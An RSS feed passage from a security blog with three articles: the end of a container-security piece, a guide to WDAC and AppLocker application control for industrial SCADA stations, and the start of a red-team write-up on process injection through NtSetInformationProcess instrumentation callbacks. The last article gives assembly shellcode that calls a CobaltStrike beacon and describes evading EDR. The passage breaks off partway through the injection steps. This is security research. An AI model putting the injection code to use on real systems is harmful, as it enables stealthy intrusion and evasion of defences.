<p style="text-align: justify;"><span data-contrast="auto">A CWPP is a tool for monitoring and detecting threats to workloads, i.e., all services running in the cloud, and in particular containers. It helps to ensure security throughout the lifecycle described above. It is particularly useful for detecting secrets and vulnerabilities in application libraries, reviewing repository access, checking configurations, and managing monitoring (log collection, detection, and remediation).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Like all tools, CWPP is not magic. It will need to be deployed with or without an agent, depending on the scenarios you wish to cover. But beyond the technical aspect of deployment, it will be necessary to integrate it into the company&#8217;s processes, so that all players have a tool enabling them to optimize security. We must therefore not underestimate the work involved in defining strategy, new processes, and support for change, as well as the integration of the tool with the tools used by developers. For example, a developer will want to be informed that they need to remediate a container on their incident management tool (JIRA, issue in the project Git&#8230;) and be able to test their new container from their machine before even pushing it into the container repository. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The functionalities of a CWPP are often already partially or fully covered by existing tools, and its implementation can help centralize vision and sometimes optimize licensing costs.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 style="text-align: justify;"><span data-contrast="none">Key elements of container security</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p style="text-align: justify;"><span data-contrast="auto">As you can see from this article, containers were born for infrastructure needs. Their lightness and flexibility make them a perfect asset for today&#8217;s application needs. The implementation of containers mean that new attack surfaces need to be protected, and that container security needs to be taken into account. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Unfortunately, there is no single tool or best practice to follow. In fact, as the article illustrates, it&#8217;s a combination of elements that make it possible to secure these application boxes. Among the best practices to be observed, the following 5 points are the key elements to remember:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ol style="text-align: justify;">
<li data-leveltext="%1." data-font="" data-listid="12" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:1068,&quot;335559991&quot;:708,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="auto">Control images:</span></b><span data-contrast="auto"> by using a hardened trusted image, securing source code, and performing vulnerability scans.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<ol style="text-align: justify;">
<li data-leveltext="%1." data-font="" data-listid="12" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:1068,&quot;335559991&quot;:708,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><b><span data-contrast="auto">Secure container isolation:</span></b><span data-contrast="auto"> by avoiding dangerous configurations when deploying containers and by hardening images.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<ol style="text-align: justify;">
<li data-leveltext="%1." data-font="" data-listid="12" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:1068,&quot;335559991&quot;:708,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><b><span data-contrast="auto">Ensure network segmentation:</span></b><span data-contrast="auto"> by restricting the cluster&#8217;s external exposure, flows within the cluster and out of the cluster.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<ol style="text-align: justify;">
<li data-leveltext="%1." data-font="" data-listid="12" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:1068,&quot;335559991&quot;:708,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><b><span data-contrast="auto">Monitoring and detection:</span></b><span data-contrast="auto"> by retrieving logs at 3 different levels and setting up detection scenarios</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<ol>
<li style="text-align: justify;" data-leveltext="%1." data-font="" data-listid="12" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:1068,&quot;335559991&quot;:708,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><b><span data-contrast="auto">Secure IAM access:</span></b><span data-contrast="auto"> by applying fine-grained IAM management on the cluster or on the Cloud provider. This management can be accompanied by periodic reviews.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html">https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html</a></p>
<p><a href="#_ftnref2" name="_ftn1">[2]</a> <a href="https://kubernetes.io/docs/concepts/overview/components/">https://kubernetes.io/docs/concepts/overview/components/</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/01/safe-sailing-step-by-step-container-security/">Safe sailing: step-by-step container security </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/01/safe-sailing-step-by-step-container-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Application control: what strategy you should adopt for your industrial supervision system?</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/#respond</comments>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Wed, 06 Dec 2023 09:03:23 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21940</guid>

					<description><![CDATA[<p>The industrial control system (ICS) is the set of resources and machines used to supervise and control an industrial process. This article looks at the security issues surrounding Windows devices of the ICS supervision and maintenance layer: SCADA servers and...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/">Application control: what strategy you should adopt for your industrial supervision system?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>The <strong>industrial control system (ICS)</strong> is the set of resources and machines used to supervise and control an industrial process. This article looks at the security issues surrounding Windows devices of the ICS supervision and maintenance layer: SCADA servers and clients, Data Historians, engineering stations, and maintenance laptops.</p>
<p><img loading="lazy" decoding="async" class="wp-image-21930 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png" alt="" width="668" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png 1369w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-768x321.png 768w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p>A SCADA (Supervisory Control And Data Acquisition) system enables the remote management and control of industrial installations. This includes machines such as supervision stations, data centralization servers, maintenance laptops&#8230;).</p>
<p>SCADA stations include three main functions:</p>
<ul>
<li><strong>Acquisition</strong>: Sensors are present on the programmable logic controllers (PLCs) acting on the industrial process. These sensors are connected to the SCADA system so that the various process data can be retrieved.</li>
<li><strong>Supervision</strong>: Operators access the retrieved data and supervise the industrial process in real time.</li>
<li><strong>Control</strong>: when the industrial process allows it, operators can send control commands to PLCs in order to adapt the process.</li>
</ul>
<p>The nature of these workstations makes them an important element in the production chain, which is why it is necessary to secure their software, which often runs under Windows.</p>
<p>However, there are several <strong>limitations</strong> compared with a workstation in a conventional office environment:</p>
<ul>
<li>The workstations run continuously, with a very low update frequency (once every 1 to 2 years);</li>
<li>What&#8217;s more, these workstations have a long lifespan, often more than 10 years. A SCADA workstation will therefore partly run on an obsolete operating system, which will no longer receive security patches during its lifetime.</li>
<li>Finally, industrial systems are sometimes totally isolated, preventing the use of security solutions such as Endpoint Detection and Response (EDR), which need to be able to communicate with a central console to send alerts and retrieve actions to be taken.</li>
</ul>
<p>Conventional security solutions are therefore not applicable in an ecosystem subject to these limitations.</p>
<p> </p>
<h2>A possible solution: application control</h2>
<p>One solution to these problems is application control: this involves managing which applications are allowed to run on a machine, and which are not, by whitelisting authorized applications.</p>
<p>Application control solutions manage both ‘.exe’ files and other program types such as DLLs, drivers, and scripts (e.g. PowerShell, CMD or VBS).</p>
<p><img loading="lazy" decoding="async" class="wp-image-21942 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2.png" alt="" width="530" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2.png 1872w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-406x191.png 406w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-768x361.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-1536x722.png 1536w" sizes="auto, (max-width: 530px) 100vw, 530px" /></p>
<p>A significant proportion of threats come from malware. This kind of solution allows one to only authorize needed applications, while blocking any undesirable or dangerous ones. Application control also maintains a good level of security in an obsolete system prone to vulnerabilities, since during the compromise stages, an attacker is often led to run malware on a system.</p>
<p>Furthermore, application control is easily integrated into the industrial environment: supervisory workstations are subject to far fewer changes than an office workstation, so there is no need to constantly review the whitelist to add applications to be authorized.</p>
<p> </p>
<h2>Application control solutions for Windows</h2>
<p>Two application control solutions are available natively on Windows: Windows Defender Application Control (WDAC) and AppLocker. WDAC appeared with Windows 10; it is the successor to AppLocker, which has been present since Windows 7. The two solutions have remarkably similar functionalities, however <strong>WDAC is actively maintained</strong> by Microsoft with regular additions of new features, whereas AppLocker only receives security updates.</p>
<p>When an application is not authorized by the whitelist, its execution will be blocked and the error message below will be displayed to the user. An event containing the blocking information will also be recorded in the Windows logs for review by the Security Operations Center (SOC), or information system administrators.</p>
<p><img loading="lazy" decoding="async" class="wp-image-21934 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png" alt="" width="469" height="167" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png 825w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-768x274.png 768w" sizes="auto, (max-width: 469px) 100vw, 469px" /></p>
<p>Application control can operate in blocking or audit mode. In audit mode, the list used is tested: unauthorized applications are still executed, but a blocking event is registered to indicate that they would not work in blocking mode.</p>
<p>For effective application control, it is necessary to create a whitelist that is as restrictive as possible, while still allowing business applications. For both solutions, the whitelist can be set up with three different rules:</p>
<ul>
<li><strong>Path-based rules</strong>: authorize the application according to the path from which it is executed. These are the easiest rules to use, but they can lead to security issues. It is not uncommon to find authorized folders in the whitelist that are writable by users. Users will then be able to drop any application into the folder to run it, thus bypassing application control.</li>
<li><strong>Editor rules</strong>: authorize the application according to the elements of its digital signature. These rules are just as easy to use as path rules but maintain a high level of security by only authorizing applications from legitimate publishers. The main advantage of this type of rule is that they remain valid after an application update, as the publisher does not change. However, this would require the applications awaiting authorization to be signed, which is not always the case in industrial environments.</li>
<li><strong>Hash rules</strong>: authorize applications according to their hash. These rules impose the highest possible restriction. As each application&#8217;s hash is unique, only code explicitly authorized by the policy can be executed. However, this type of rule generates a significant organizational cost: any modification to an application changes its hash; the rule must then be updated to correctly authorize the application.</li>
</ul>
<p>When it comes to choosing the type of rule to use, there are two possible scenarios:</p>
<ul>
<li>On <strong>equipment receiving updates</strong>, editor rules should be preferred to be able to maintain the validity of the whitelist even after application files have been modified. Path rules can be used secondarily for unsigned applications, while paying particular attention to the access rules for the directories in question.</li>
<li>On <strong>equipment whose configuration will not change</strong>, editor rules can be used to easily authorize Windows core code. Business applications can then be authorized using hash rules, as they are unlikely to be modified.</li>
</ul>
<p> </p>
<h2>Implementation steps</h2>
<p>Now that we know which rules to use, we need to create a whitelist for the machine to be secured. Two approaches are adopted, depending on the type of machine to be managed:</p>
<h4><strong>Temporal approach: Deployment by continuous improvement</strong></h4>
<p><img loading="lazy" decoding="async" class="wp-image-21944 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4.png" alt="" width="669" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4.png 1423w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-437x120.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-768x211.png 768w" sizes="auto, (max-width: 669px) 100vw, 669px" /></p>
<p>This method consists in deploying application control starting with a basic policy authorizing Windows components, which is then improved little by little thanks to events generated by the execution of business applications.</p>
<p>This approach is particularly well suited to existing production workstations, where administrators do not have much information on the system. Each event generated must then be reviewed to assess whether the application being executed is legitimate or not. This provides an exhaustive whitelist without authorizing illegitimate applications.</p>
<h4><strong>Model-based approach: Deployment on a &#8220;golden image&#8221;, then replicated on the rest of the machines.</strong></h4>
<p><img loading="lazy" decoding="async" class="wp-image-21946 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5.png" alt="" width="670" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5.png 1402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-768x284.png 768w" sizes="auto, (max-width: 670px) 100vw, 670px" /></p>
<p>In this approach, WDAC will be deployed on a &#8220;<strong>golden image</strong>&#8220;, i.e. a clean image containing all the applications required for the machine&#8217;s business use. Once the policy has been correctly configured, the golden image can be cloned on all other machines with the same role. Typically, the golden image could be produced following acceptance testing (FAT/SAT) when a new plant is set up.</p>
<p>This approach is recommended for commissioning new stations into production. By starting with a blank machine where all the software required for the job is installed, we can ensure that no illegitimate applications are present on the machine. It is then possible to use the tools provided by Microsoft to scan the machine and automatically generate a whitelist, authorizing all applications present on the machine.</p>
<p> </p>
<h2>Limits of application control</h2>
<p>It is important to bear in mind the limitations of these solutions, which are not fallible. By their very nature, the actions of an application authorized to be executed are no longer monitored, and the application itself can execute code or launch other programs. Consequently, if an attacker were to discover a vulnerability in a whitelisted application, application control would not prevent its exploitation, which would allow the attacker to influence the industrial process, but it would not allow malicious files such as ransomware to be executed.</p>
<p>There are several ways of bypassing application control, using programs that come as standard with Windows. This is particularly true of ‘mshta.exe’, which can be used to run stand-alone HTML applications (.hta) that can execute code on a machine. For this reason, Microsoft constantly maintains a list of applications present in Windows or signed by Microsoft to be blocked, in order to tighten application control.</p>
<p>The same principle applies to business programs. It is up to manufacturers to have their applications audited to ensure that no vulnerabilities are present that could allow the workstation to be compromised.</p>
<p> </p>
<h2>Application control on Windows: WDAC or AppLocker?</h2>
<p>Overall, both solutions are remarkably similar and compatible with the two deployment modes presented above, so the remaining question is how to choose between the two.</p>
<p>  Whenever possible, it is best to choose <strong>WDAC</strong>: its strength lies in its global control capability and its various functionalities. AppLocker can only control programs ran by the user, whereas WDAC can also control programs ran by Windows, such as drivers.</p>
<p>What is more, WDAC integrates additional features such as protection against elevation of privileges, and automatic verification of user access on path rules. Microsoft also continues to support the solution and enhance it with new features, while AppLocker only receives security updates.</p>
<p>AppLocker is generally simpler to use than WDAC and allows differentiation regarding the application of rules according to the machine&#8217;s users, whereas WDAC&#8217;s rules apply to the whole machine without distinction.</p>
<p>However, WDAC is only available on Windows 10 and above. On machines running Windows 7, which are still very common on industrial networks, <strong>AppLocker</strong> is the only native solution available and should therefore be used. On Windows 10 and above, WDAC is the better application control solution, and should be preferred.</p>
<p>In addition, AppLocker can be used alongside WDAC if you need to differentiate rules for different users. WDAC should then be implemented at the most restrictive level possible, then AppLocker can be used to fine-tune the restrictions.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/">Application control: what strategy you should adopt for your industrial supervision system?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Process Injection using NtSetInformationProcess</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Mon, 02 Oct 2023 09:19:04 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21481</guid>

					<description><![CDATA[<p>Process injection is a family of malware development techniques allowing an attacker to execute a malicious payload into legitimate addressable memory space of a legitimate process. These techniques are interesting because the malicious payload is executed by a legitimate process...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/">Process Injection using NtSetInformationProcess</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[




<p><style>code { color: rgb(255,0,102); }</style></p>
<div>Process injection is a family of <strong>malware development techniques</strong> allowing an attacker to execute a malicious payload into <strong>legitimate addressable memory space</strong> of a <strong>legitimate process</strong>.</div>
<div>These techniques are interesting because the malicious payload is executed by a legitimate process that could be <strong>less inspected</strong> by a security product such as an <strong>EDR</strong>.</div>
<div>However, in order to perform this injection, the attacker needs to use<strong> specific functions</strong> for memory allocation, and use execution primitives to write and execute his payload in the remote process. In standard process injection patterns, these functions are usually the following Win32API: <code>VirtuallAllocEx</code>, <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21492 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01.png" alt="" width="945" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-406x191.png 406w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-768x362.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 1: Standard process Injection pattern</em></div>
<div> </div>
<div> </div>
<div>Security products can use this the<strong> mandatory use of this type of functions</strong> to detect and fight against process injection by <strong>monitoring these API calls</strong>. Therefore, in order to keep this type of technique viable, attackers must <strong>find other ways to allocate</strong>, write and execute memory in a remote process.</div>
<div>This post aims to show an alternate technique allowing execution at an arbitrary memory address on a remote process that can be used to replace the standard <code>CreateRemoteThread</code> call.</div>
<div> </div>
<div> </div>
<h2>Nirvana Debugger</h2>
<h3>Definition</h3>
<div>In 2015, Alex Ionescu made a presentation about <a href="https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf">Esoteric Debugging Techniques</a>.</div>
<div>One of the topics tackled is the <strong>Nirvana debugging technique</strong>. This method allows a process to install a specific hook that will be called <strong>right after every syscall</strong> it performs.</div>
<div>When a process is performing a syscall, it forwards the execution flow to the kernel. Then, once the kernel returns from the kernel procedure associated to the syscall, it usually forwards back the execution flow to the calling process as shown in the following figure:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21494 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02.png" alt="" width="346" height="463" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02.png 346w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02-143x191.png 143w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02-29x39.png 29w" sizes="auto, (max-width: 346px) 100vw, 346px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 2: Standard process/kernel interaction</em></div>
<div> </div>
<div> </div>
<div>With the Nirvana debugging technique, it is possible to <strong>register a specific function</strong> (executed in <strong>userland</strong>) that will be called right before the process gets back the execution flow control from the kernel: the kernel will <strong>forward the execution flow to this hook</strong> instead of the initial process as it is shown in the following figure:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21496 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03.png" alt="" width="440" height="399" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03.png 440w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03-43x39.png 43w" sizes="auto, (max-width: 440px) 100vw, 440px" />
<div> </div>
<div style="text-align: center;"><em>Figure 3: Execution flow is redirected</em></div>
</div>
<div> </div>
<div> </div>
<div>In this hook, all the information needed during a debugging session is available, including <strong>which syscall</strong> has been executed, the address from which the syscall was called and the syscall’s return code. This technique was first discussed in 2020 in the article <a href="https://splintercod3.blogspot.com/p/weaponizing-mapping-injection-with.html">Weaponizing Mapping Injection with Instrumentation Callback for stealthier process injection</a> by <a href="https://twitter.com/splinter_code">@splinter_code</a>.</div>
<div> </div>
<div> </div>
<h3>Implementation</h3>
<div>The WIN32API exposes the <code>NtSetProcessInformation</code> function that can be used to register a Nirvana callback:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21498 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04.png" alt="" width="605" height="380" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04-304x191.png 304w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04-62x39.png 62w" sizes="auto, (max-width: 605px) 100vw, 605px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 4: Basic Nirvana hook definition</em></div>
<div> </div>
<div> </div>
<div>The <code>NtSetInformationProcess</code> function takes the process handle (<code>hProc</code>) as a parameter, which should make it possible to add a hook on a <strong>remote process</strong>.</div>
<div> </div>
<div> </div>
<h3>On a remote process</h3>
<div>The <code>NtSetInformationProcess</code> prototype shows that it can be used to alter a <strong>remote process’s configuration</strong>.</div>
<div>However, looking at the function code in <code>ntoskrnl.exe</code> shows it is only possible to use the function on a remote process when the <code>SE_DEBUG</code> privilege is enabled:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21500 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05.png" alt="" width="489" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05.png 489w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05-421x191.png 421w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05-71x32.png 71w" sizes="auto, (max-width: 489px) 100vw, 489px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 5: Need to activate SE_DEBUG</em></div>
<div> </div>
<div> </div>
<div>The <code>SE_DEBUG</code> privilege can be requested by principals allowed in the<strong> “Debug programs” user right assignment</strong>. Additionally, the SeDebug privilege cannot be requested by processes with an integrity level lower than “high”. On most systems, these requirements translate to the need of <strong>running the malicious process</strong> with an account member of the <strong>local “administrators”</strong> group, in <strong>elevated mode</strong>.</div>
<div> </div>
<div> </div>
<h2>Process Injection With NtSetInformationProcess</h2>
<div>As established in the previous sections, the <code>NtSetInformationProcess</code> WIN32API can be used to <strong>register a hook on a remote process</strong>. So, it can be used to redirect a remote process execution flow. However, the hook must be located inside the remote process memory space.</div>
<div> </div>
<div> </div>
<h3>Nirvana hook wrapper</h3>
<div>The final goal is to inject a shellcode in the remote process that will be triggered as a Nirvana hook and will call a <strong>CobaltStrike</strong> beacon.</div>
<div>The process can be split in two steps:</div>
<ul style="list-style-type: square;">
<li>First the CobaltStrike beacon is written at the given address <code>${CSAddr}</code> in the remote process memory space.</li>
<li>Then the Nirvana Hook, that will perform a <code>CALL ${CSAddr}</code>, is written at another address <code>${NirvanaAddr}</code> in the remote process memory space.</li>
</ul>
<div> </div>
<div>A small kernel debugging on a process with a Nirvana hook installed shows that:</div>
<ul style="list-style-type: square;">
<li><strong>The kernel only performs a <code>JMP</code></strong> on the hook address letting him redirect the execution flow to the calling NT function. <br />This part is an interesting lesson on Windows internals. As the kernel will be performing a<code> JMP/CALL</code> on a userland function on behalf of the user mode to run the Nirvana hook, it could be a way to <strong>bypass the Windows Control Flow Guard</strong>, because this check is usually performed on userland with the <code>LdrpValidateUserCallTarget</code> function.<br />Here, the kernel had to reimplement this function under the name <code>MmValidateUserCallTarget</code> to ensure the callback address is in the allowed function range:</li>
</ul>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21502 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06.png" alt="" width="412" height="260" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06-303x191.png 303w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06-62x39.png 62w" sizes="auto, (max-width: 412px) 100vw, 412px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 6: Control Flow Guard at kernel level</em></div>
<div> </div>
<div> </div>
<ul style="list-style-type: square;">
<li>The calling function address is stored in the <code>R10</code> registry.</li>
<li>The syscall&#8217;s return address is stored in the <code>R11</code> registry.</li>
</ul>
<div> </div>
<div>So, the hook must jump on <code>R10</code> once the <strong>CobaltStrike</strong> beacon has been executed to forward back the execution flow to the calling NT function. A basic ASM code can be used:</div>
<div> </div>
<pre>push rbp<br />mov rbp, rsp<br />push rax<br />push rbx<br />push rcx<br />push r9<br />push rl0<br />push rll<br />movabs rax, ${CSAddr}<br />call rax<br />pop r11<br />pop r10<br />pop r9<br />pop rcx<br />pop rbx<br />pop rax<br />pop rbp<br />jmp r10</pre>
<div> </div>
<div>This shellcode seems ok, but in fact it will<strong> create an infinite loop</strong> as it will be called everytime a syscall is performed. So, it can be modified in order to be <strong>executed only once</strong>.</div>
<div>For example, it could be possible to make the code self-modifying to change to replace the <code>PUSH RBP</code> by a <code>JMP R10</code> in order to break the loop:</div>
<div> </div>
<pre>push rbp<br />mov rbp, rsp<br /><br />; This will modify the instruction push RBP into JMPR10<br />mov qword ptr[rip – 15] 0xE2FF41<br /><br />push rax<br />push rbx<br />push rcx<br />push r9<br />push rl0<br />push rll<br />movabs rax, ${CSAddr}<br />call rax<br />pop r11<br />pop r10<br />pop r9<br />pop rcx<br />pop rbx<br />pop rax<br />pop rbp<br />jmp r10</pre>
<div> </div>
<div>So, when the hook has been executed once, it will just jump on <code>R10</code> without re-executing the beacon.</div>
<div> </div>
<div> </div>
<h3>Wrapping it all together</h3>
<div>Now the different shellcodes are written, it is possible to perform the injection:</div>
<ul style="list-style-type: square;">
<li>Open the <code>notepad.exe</code> process with your process opening primitive</li>
<li>Allocate a <strong>RX</strong> buffer in the<code> notepad.exe</code> process for the <strong>Cobaltstrike</strong> beacon</li>
